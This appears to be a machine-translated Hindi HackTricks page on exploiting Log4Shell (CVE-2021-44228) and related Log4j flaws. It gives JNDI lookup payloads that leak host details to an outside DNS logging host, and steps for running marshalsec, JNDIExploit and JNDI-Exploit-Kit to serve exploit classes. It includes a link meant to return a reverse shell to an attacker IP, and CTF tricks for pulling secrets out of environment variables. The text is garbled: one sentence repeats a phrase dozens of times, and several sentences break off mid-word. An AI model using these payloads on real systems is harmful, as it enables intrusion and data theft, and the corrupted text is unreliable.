* अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
JNDI, जो 1990 के दशक से जावा में एकत्रित है, एक डायरेक्टरी सेवा के रूप में काम करता है, जिससे जावा कार्यक्रम डेटा या ऑब्जेक्ट को नेमिंग सिस्टम के माध्यम से ढूंढ सकते हैं। यह सेवा प्रदाता इंटरफेस (SPIs) के माध्यम से विभिन्न डायरेक्टरी सेवाओं का समर्थन करता है, जिससे विभिन्न सिस्टम से डेटा प्राप्त किया जा सकता है, जैसे दूरस्थ जावा ऑब्ज
यह वंशावली में एक महत्वपूर्ण **अविश्वसनीय डिसीरियलाइज़ेशन दोष** है `log4j-core` घटक में, संस्करण 2.0-बीटा9 से 2.14.1 तक प्रभावित है। यह **रिमोट कोड क्रियान्वयन (RCE)** की अनुमति देता है, हमलावादियों को सिस्टम पर कब्जा करने की संभावना होती है। इस समस्या की रिपोर्ट चेन ज़ाओजुन द्वारा अलीबाबा क्लाउड सुरक्षा टीम से की गई थी और यह विभिन्न एपाचे फ़्रेमवर्क्स को प्रभावित करती है। संस्करण 2.15.0 में प्रारंभिक सुधार अपूर्ण था। रक्षा के लिए सिग्मा नियम ([नियम 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [नियम 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)) उपलब्ध हैं।
प्रारंभ में कम रेट किया गया था लेकिन बाद में महत्वपूर्ण बनाया गया, यह CVE एक **सेवा की असुरक्षितता (DoS)** दोष है जो 2.15.0 में CVE-2021-44228 के लिए अपूर्ण सुधार से होता है। यह गैर-डिफ़ॉल्ट विन्यासों को प्रभावित करता है, हमलावादियों को तैयार किए गए पेलोड के माध्यम से DoS हमले करने की अनुमति देता है। एक [ट्वीट](https://twitter.com/marcioalm/status/1471740771581652995) एक बायपास विधि प्रदर्शित करता है। समस्या को संस्करण 2.16.0 और 2.12.2 में संशोधित करके सुलझाया गया है जिसमें संदेश खोज पैटर्न को हटाया गया है और JNDI को डिफ़ॉल्ट रूप से अक्षम कर दिया गया है।
`JMSAppender` का उपयोग करते हुए गैर-डिफ़ॉल्ट विन्यासों में प्रभावित करने वाला यह CVE **Log4j 1.x संस्करणों** को एक अविश्वसनीय डिसीरियलाइज़ेशन दोष है। 1.x शाखा के लिए कोई सुधार उपलब्ध नहीं है, जो अंत-जीवन है, और `log4j-core 2.17.0` में अपग्र
या `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि एक **DNS अनुरोध प्राप्त होता है जिसमें एनवायरनमेंट चर का मान है**, तो आपको पता चल जाएगा कि एप्लिकेशन वंशीकरणयोग्य है।
JDK संस्करण 6u141, 7u131 या 8u121 से ऊपर चल रहे होस्ट LDAP क्लास लोडिंग हमले के खिलाफ सुरक्षित हैं। यह `com.sun.jndi.ldap.object.trustURLCodebase` की डिफ़ॉल्ट निष्क्रियकरण के कारण है, जो JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। हालांकि, यह महत्वपूर्ण है कि ये संस्करण **डेसीरियलाइज़ेशन हमले के खिलाफ सुरक्षित नहीं हैं**।
उन हमलावरों के लिए जो इन उच्च JDK संस्करणों का शिकार बनाना चाहते हैं, उन्हें जावा एप्लिकेशन में एक **विश्वसनीय गैजेट** का उपयोग करना आवश्यक है। इस उद्देश्य के लिए अक्सर ysoserial या JNDIExploit जैसे उपकरणों का उपयोग किया जाता है। विपरीत रूप से, निम्न JDK संस्करणों का शोधन करना अधिक सरल है क्योंकि इन संस्करणों को बदलकर विभिन्न क्लासेस को लोड और क्रियान्वित किया जा सकता है।
**अधिक जानकारी** के लिए (_जैसे RMI और CORBA वेक्टर्स पर सीमाएँ_) **पिछले JNDI नेमिंग संदर्भ खंड** या [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) देखें।
उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) का उपयोग करें (jar संस्करण यहाँ उपलब्ध है [**यहाँ**](https://github.com/RandomRobbieBF/marshalsec-jar))। इस दृष्टिकोण से एक LDAP रेफरल सर्वर स्थापित करता है जो कनेक्शन को एक द्वितीय HTTP सर्वर पर पुनर्निर्देशित करता है जहां हमला होस्ट किया जाएगा:
कंपाइल करें जावा फ़ाइल को एक क्लास फ़ाइल में इस्तेमाल करके: `javac Exploit.java -source 8 -target 8`। अगले, उस डायरेक्टरी में जहां क्लास फ़ाइल है, एक **HTTP सर्वर** आरंभ करें: `python3 -m http.server`। सुनिश्चित करें कि **marshalsec LDAP सर्वर** इस HTTP सर्वर को संदर्भित करता है।
**ध्यान दें:** यह एक्सप्लॉइट जावा के कॉन्फ़िगरेशन पर निर्भर करता है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देता है। यदि यह अनुमति नहीं है, तो विश्वसनीय क्लास का दुरुपयोग करने के लिए एक विश्वसनीय क्लास का दुरुपयोग करने का विचार करें।
ध्यान दें कि किसी कारण से लेखक ने इस प्रोजेक्ट को गिटहब से हटा दिया था जब लॉग4शैल की खोज के बाद। आप इसका कैश वर्जन [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में पा सकते हैं लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस वलन का दुरुपयोग करने के लिए एक विभिन्न तरीका उपयोग करें।
इसके अतिरिक्त, आप वेब सर्वर को **लॉग4शैल** के लिए इस **वलनरेबल वेब सर्वर** को पोर्ट 8080 में चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे कैसे चलाना है इसकी जानकारी मिलेगी_). यह वलनरेबल ऐप एक वलनरेबल संस्करण के साथ लॉग4शैल के साथ HTTP अनुरोध हेडर _X-Api-Version_ की सामग्री को लॉग कर रहा है।
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
**ध्यान दें कि अन्य शोषण विकल्पों के लिए `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` की जाँच करें। इसके अतिरिक्त, यदि आपको आवश्यकता हो तो आप LDAP और HTTP सर्वरों के पोर्ट को बदल सकते हैं।**
पिछले शोषण की तरह, आप इस भयानकता का शोषण करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करने की कोशिश कर सकते हैं।\
आप यह विकल्प भेजने के लिए URLs उत्पन्न कर सकते हैं जो पीड़ित को भेजने के लिए:
_यह हमला एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग करके **THM सोलर रूम** जैसे लैब्स में काम करेगा। हालांकि, यह आम तौर पर काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को एलडीएपी का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह विश्वसनीय क्लास का दुरुपयोग करने के लिए विश्वसनीय क्लास का दुरुपयोग करने के लिए नहीं है जो विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया ज<>
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किया जा सके जहाँ उत्पादनशील मशीनों से जोखिम जनक मशीनों से कनेक्शन का इंतजार किया जा सके। आप **विभिन्न जोखिम जो स्वचालित रूप से उत्पन्न किए जा सकते हैं** जो JNDI-Exploit-Kit द्वारा या आपके **अपने डेसीरियलाइज़ेशन पेलोड** (जिन्हें आपने या ysoserial द्वारा उत्पन्न किया गया हो) के द्वारा उत्पन्न किया जा सकता है।
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संरक्षित संस्करण को उपयोग करके एक **रिवर्स शैल** प्राप्त करने के लिए एक विकल्पी संस्करण को भेज सकते हैं: **`${ldap://10.10.14.10:1389/generated}`**
इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में अच्छी तरह से समझाया गया है कि **Log4J** के कुछ विशेषताओं का दुरुपयोग संभव है।
> संस्करण 2.16.0 (जावा 8 के लिए) से **संदेश खोज विशेषता पूरी तरह से हटा दी गई है**। **कॉन्फ़िगरेशन में खोज काम करती है**। इसके अतिरिक्त, अब Log4j डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम कर देता है। कॉन्फ़िगरेशन में JNDI खोज को सक्षम करना अब व्यक्तिगत रूप से करना होगा।
> संस्करण 2.17.0 से (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में खोज स्ट्रिंग को रूपांतरित किया जाता है**; किसी भी अन्य उपयोग में, केवल शीर्ष-स्तर की खोज हल की जाती है, और किसी भी नेस्टेड खोज को हल नहीं किया जाता है।
इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी `jndi` शोषण का उपयोग भूल सकते हैं। इसके अतिरिक्त, रूपांतरित खोज करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
[इस CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) में हमलावर `${sys:cmd}` के मान को नियंत्रित करता था और एक environment variable से झंडा निकालना था।
जैसा कि [**पिछले payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, एनवी वेरिएबल्स तक पहुंचने के लिए विभिन्न तरीके हैं, जैसे: **`${env:FLAG}`**। इस CTF में यह अनुप्रयोगी था लेकिन यह अन्य वास्तविक जीवन स्थितियों में हो सकता है।
CTF में, आप log4J का उपयोग करके जावा एप्लिकेशन के stderr तक पहुंच नहीं सकते थे, लेकिन Log4J **अपशिष्ट stdout पर भेजा जाता है**, जो पायथन ऐप में मुद्रित होता था। इसका मतलब था कि एक अपशिष्ट को ट्रिगर करने से हम सामग्री तक पहुंच सकते थे। झंडा निकालने के लिए एक अपशिष्ट था: **`${java:${env:FLAG}}`.** यह काम करता है क्योंकि **`${java:CTF{blahblah}}`** मौजूद नहीं है और झंडे के मूल्य के साथ एक अपशिष्ट दिखाया जाएगा:
बस यह उल्लेख करना चाहता हूँ, आप नए [**परिवर्तन पैटर्न**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) इंजेक्ट कर सकते थे और `stdout` पर लॉग किए जाने वाले अपशिष्ट को ट्रिगर कर सकते थे। उदाहरण के लिए:
यह त्रुटि संदेश के भीतर तारीख निकालने के लिए उपयोगी नहीं था, क्योंकि लुकअप को परिवर्तन पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों के लिए उपयोगी हो सकता है जैसे कि पता लगाने के लिए।
हालांकि, कुछ **रेजेक्स का समर्थन करने वाले परिवर्तन पैटर्न** का उपयोग करना संभव है ताकि रेजेक्स और **बाइनरी खोज** या **समय आधारित** व्यवहार का दुरुपयोग करके लुकअप से सूचना निकाली जा सके।
परिवर्तन पैटर्न **`%replace`** का उपयोग **स्ट्रिंग** से **सामग्री** को **बदलने** के लिए किया जा सकता है यहाँ तक कि **रेजेक्स** का उपयोग करके। यह इस प्रकार काम करता है: `replace{पैटर्न}{रेजेक्स}{प्रतिस्थापन}`\
इस व्यवहार का दुरुपयोग करके आप स्ट्रिंग के भीतर कुछ भी रेजेक्स से मेल खाता है तो एक अपशिष्ट को ट्रिगर कर सकते हैं (और यदि यह नहीं मिला तो कोई अपशिष्ट नहीं होगा) जैसे:
जैसा कि पिछले खंड में उल्लिखित किया गया था, **`%replace`** **रीजेक्स** का समर्थन करता है। इसलिए [**ReDoS पेज**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके एक **समय समाप्ति** को उत्पन्न करना संभव है यदि ध्वज मिल जाता है।\
इस [**लेखन**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, एक ReDoS हमले की बजाय एक **विस्तार हमले** का उपयोग किया गया था जिससे प्रतिक्रिया में समय का अंतर उत्पन्न हुआ:
> यदि ध्वज `flagGuess` के साथ शुरू होता है, तो पूरा ध्वज 29 `#`-s से बदल दिया जाएगा (मैंने इस वर्ण का उपयोग किया क्योंकि यह संभावना है कि यह ध्वज का हिस्सा नहीं होगा)। **प्रत्येक परिणामी 29 `#`-s को फिर 54 `#`-s से बदल दिया जाएगा**। यह प्रक्रिया **6 बार** दोहराई जाएगी, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** होंगे।
> इतने सारे `#`-s को बदलने से Flask एप्लिकेशन की 10 सेकंड की समय सीमा को ट्रिगर होगा, जिससे प्रतिक्रिया में HTTP स्थिति कोड 500 उपयोगकर्ता को भेज दिया जाएगा। (यदि ध्वज `flagGuess` के साथ शुरू नहीं होता है, तो हमें गैर-500 स्थिति कोड प्राप्त होगा)
* यदि आप चाहते हैं कि आपकी **कंपनी हैकट्रिक्स में विज्ञापित हो** या **हैकट्रिक्स को पीडीएफ में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!